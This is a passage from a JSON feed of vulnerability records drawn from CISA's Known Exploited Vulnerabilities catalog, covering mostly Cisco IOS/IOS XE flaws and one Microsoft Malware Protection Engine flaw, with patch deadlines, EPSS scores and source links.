instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07292,"percentile":0.94321,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6744&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6744","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6744 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6744&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6744, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-8540","cveId":"CVE-2017-8540","aliases":[],"kind":"vulnerability","title":"Microsoft Malware Protection Engine Improper Restriction of Operations Vulnerability","summary":"The Microsoft Malware Protection Engine running on Microsoft Forefront and Microsoft Defender on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016, Microsoft Exchange Server 2013 and 2016, does not properly scan a specially crafted file leading to memory corruption. aka \"Microsoft Malware Protection Engine Remote Code Execution Vulnerability\".","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Malware Protection Engine","stacks":["Microsoft","Malware Protection Engine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.71874,"percentile":0.99422,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-8540&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-8540","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-8540 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-8540&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-8540, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0151","cveId":"CVE-2018-0151","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software and Cisco IOS XE Software Quality of Service Remote Code Execution Vulnerability","summary":"A vulnerability in the quality of service (QoS) subsystem of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition or execute arbitrary code with elevated privileges.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14197,"percentile":0.96558,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0151&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0151","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0151 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0151&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0151, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0154","cveId":"CVE-2018-0154","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software Integrated Services Module for VPN Denial-of-Service Vulnerability","summary":"A vulnerability in the crypto engine of the Cisco Integrated Services Module for VPN (ISM-VPN) running Cisco IOS Software could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) condition.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS Software","stacks":["Cisco","IOS Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0707,"percentile":0.94167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0154&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0154","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0154 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0154&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0154, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0155","cveId":"CVE-2018-0155","aliases":[],"kind":"vulnerability","title":"Cisco Catalyst Bidirectional Forwarding Detection Denial-of-Service Vulnerability","summary":"A vulnerability in the Bidirectional Forwarding Detection (BFD) offload implementation of Cisco Catalyst 4500 Series Switches and Cisco Catalyst 4500-X Series Switches could allow an unauthenticated, remote attacker to cause a crash of the iosd process, causing a denial-of-service (DoS) condition.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Catalyst 4500 Series Switches and Cisco Catalyst 4500-X Series Switches","stacks":["Cisco","Catalyst 4500 Series Switches and Cisco Catalyst 4500-X Series Switches"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07742,"percentile":0.94589,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0155&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0155","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0155 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0155&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0155, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0156","cveId":"CVE-2018-0156","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software and Cisco IOS XE Software Smart Install Denial-of-Service Vulnerability","summary":"A vulnerability in the Smart Install feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial-of-service (DoS) condition.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS Software and Cisco IOS XE Software","stacks":["Cisco","IOS Software and Cisco IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0936,"percentile":0.95356,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0156&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0156","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0156 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0156&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0156, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0158","cveId":"CVE-2018-0158","aliases":[],"kind":"vulnerability","title":"Cisco IOS and XE Software Internet Key Exchange Memory Leak Vulnerability","summary":"A vulnerability in the implementation of Internet Key Exchange Version 1 (IKEv1) functionality in Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial-of-service (DoS) condition.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS Software and Cisco IOS XE Software","stacks":["Cisco","IOS Software and Cisco IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0719,"percentile":0.94258,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0158&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0158","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0158 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0158&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0158, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0159","cveId":"CVE-2018-0159","aliases":[],"kind":"vulnerability","title":"Cisco IOS and XE Software Internet Key Exchange Version 1 Denial-of-Service Vulnerability","summary":"A vulnerability in the implementation of Internet Key Exchange Version 1 (IKEv1) functionality in Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial-of-service (DoS) condition.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS Software and Cisco IOS XE Software","stacks":["Cisco","IOS Software and Cisco IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0687,"percentile":0.94008,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0159&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0159","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0159 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0159&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0159, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0161","cveId":"CVE-2018-0161","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software Resource Management Errors Vulnerability","summary":"A vulnerability in the Simple Network Management Protocol (SNMP) subsystem of Cisco IOS Software running on certain models of Cisco Catalyst Switches could allow an authenticated, remote attacker to cause a denial-of-service (DoS) condition.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS Software","stacks":["Cisco","IOS Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04116,"percentile":0.9071,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0161&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0161","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0161 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0161&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0161, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0167","cveId":"CVE-2018-0167","aliases":[],"kind":"vulnerability","title":"Cisco IOS, XR, and XE Software Buffer Overflow Vulnerability","summary":"There is a buffer overflow vulnerability in the Link Layer Discovery Protocol (LLDP) subsystem of Cisco IOS Software, Cisco IOS XE Software, and Cisco IOS XR Software which could allow an unauthenticated, adjacent attacker to cause a denial of service (DoS) condition or execute arbitrary code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS, XR, and XE Software","stacks":["Cisco","IOS, XR, and XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03354,"percentile":0.8861,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0167&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0167","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0167 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0167&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0167, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0172","cveId":"CVE-2018-0172","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software Improper Input Validation Vulnerability","summary":"A vulnerability in the DHCP option 82 encapsulation functionality of Cisco IOS Software and Cisco IOS XE Software could allow for denial-of-service (DoS).","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0782,"percentile":0.94631,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0172&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0172","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0172 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0172&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0172, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0173","cveId":"CVE-2018-0173","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software Improper Input Validation Vulnerability","summary":"A vulnerability in the Cisco IOS Software and Cisco IOS XE Software function that restores encapsulated option 82 information in DHCP Version 4 (DHCPv4) packets can allow for denial-of-service (DoS).","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07608,"percentile":0.94509,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0173&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0173","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0173 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0173&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0173, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0174","cveId":"CVE-2018-0174","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software and Cisco IOS XE Software Improper Input Validation Vulnerability","summary":"A vulnerability in the DHCP option 82 encapsulation functionality of Cisco IOS Software and Cisco IOS XE Software could allow for denial-of-service (DoS).","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS XE Software","stacks":["Cisco","IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07608,"percentile":0.94509,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0174&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0174","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0174 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0174&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0174, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0175","cveId":"CVE-2018-0175","aliases":[],"kind":"vulnerability","title":"Cisco IOS, XR, and XE Software Buffer Overflow Vulnerability","summary":"Format string vulnerability in the Link Layer Discovery Protocol (LLDP) subsystem of Cisco IOS Software, Cisco IOS XE Software, and Cisco IOS XR Software could allow an unauthenticated, adjacent attacker to cause a denial of service (DoS) condition or execute arbitrary code with elevated privileges on an affected device.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS, XR, and XE Software","stacks":["Cisco","IOS, XR, and XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03478,"percentile":0.89015,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0175&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0175","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0175 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0175&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0175, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0179","cveId":"CVE-2018-0179","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software Denial-of-Service Vulnerability","summary":"A vulnerability in the Login Enhancements (Login Block) feature of Cisco IOS Software could allow an unauthenticated, remote attacker to trigger a reload of an affected system, resulting in a denial of service (DoS) condition.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS Software","stacks":["Cisco","IOS Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor 